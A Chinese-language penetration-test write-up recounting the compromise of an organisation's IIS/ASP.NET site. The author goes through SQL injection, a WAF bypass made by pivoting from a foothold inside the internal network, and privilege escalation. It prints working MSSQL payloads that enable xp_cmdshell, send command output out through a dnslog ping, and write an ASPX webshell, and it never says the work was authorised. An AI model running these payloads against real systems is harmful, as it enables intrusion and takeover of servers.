记录一次实战稍曲折拿下目标站点的过程。

前期摸点

IIS7.0+ASP.NET 的组合,简单尝试发现前台登录页面可能存在 SQL 注入,数据包如下:
sqli-burp

sqli-burp

为了节约时间直接祭出 sqlmap,-r x.txt -v 3 --random-agent --dbms=mssql --batch
sqlmap
sqlmap

识别出了数据库,却被不明力量拦截了。

手工尝试绕过不明力量,堆叠的方式利用 xp_cmdshell 尝试将命令回显从 dnslog 中带出来:

先开 xp_cmdshell:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
Plain text
利用 dnslog 带出回显:EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'
Plain text

一顿操作过后发现 dnslog 没反应,这里可能有几个原因,第一就是被不明力量拦截了,第二是目标不出网,第三可能我们语句构造有问题。是第一个原因的可能性比较大。

曲线救国

放弃注入后,还测试了其他漏洞,都以失败告终。但是目标是一个单位的子域而已,可以从单位的其他站点入手,进入内网后再尝试 MS17010、pth 等等手段来拿到目标机器权限即可。

于是在历经九九八十一难后,我们终于在目标所属 B 段中拿到一台机器权限,并使用代理成功进入内网。

遗憾的是拿到的机器是 linux 服务器,并且内网 MS17010 都已经打了补丁,fscan 扫出来的结果基本无用。如果我们继续拿内网机器权限再利用 hash 传递攻击尝试的话,且不说密码是否通杀,就时间上也会浪费不少,于是陷入了小小的尴尬境地。

不过我们随即转念一想,大多数的不明力量都会部署在 dmz 或者在最外层交换机之上,而目前我们在内网中是不是不会受到不明力量影响?思路到此立即掏出 sqlmap,再次 -r x.txt -v 3 --random-agent --dbms=mssql --batch
sqlmap工具

sqlmap 工具

果然如我们所想,成功注出来了,先看一下权限:

sqlmap查看权限

sqlmap 查看权限

dba 权限,直接 os-shell,采用的是堆叠 + 延时的注入,一个 whoami 等了将近 10 分钟的时间,太慢了,还是手注吧。

从 whoami 的回显得知系统权限为低权限,加用户肯定是行不通了,站库没有分离,直接写个 webshell。路径的话在报错的数据包就可以找到,值得注意的是,这里权限是普通用户权限,所以写 webshell 最好选择上传的目录或图片路径,本人尝试写入根路径浪费了一些时间。

上语句:
%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -
shell

shell

成功 getshell,最后用土豆提权收个尾,战斗结束。
getshell提权
getshell 提权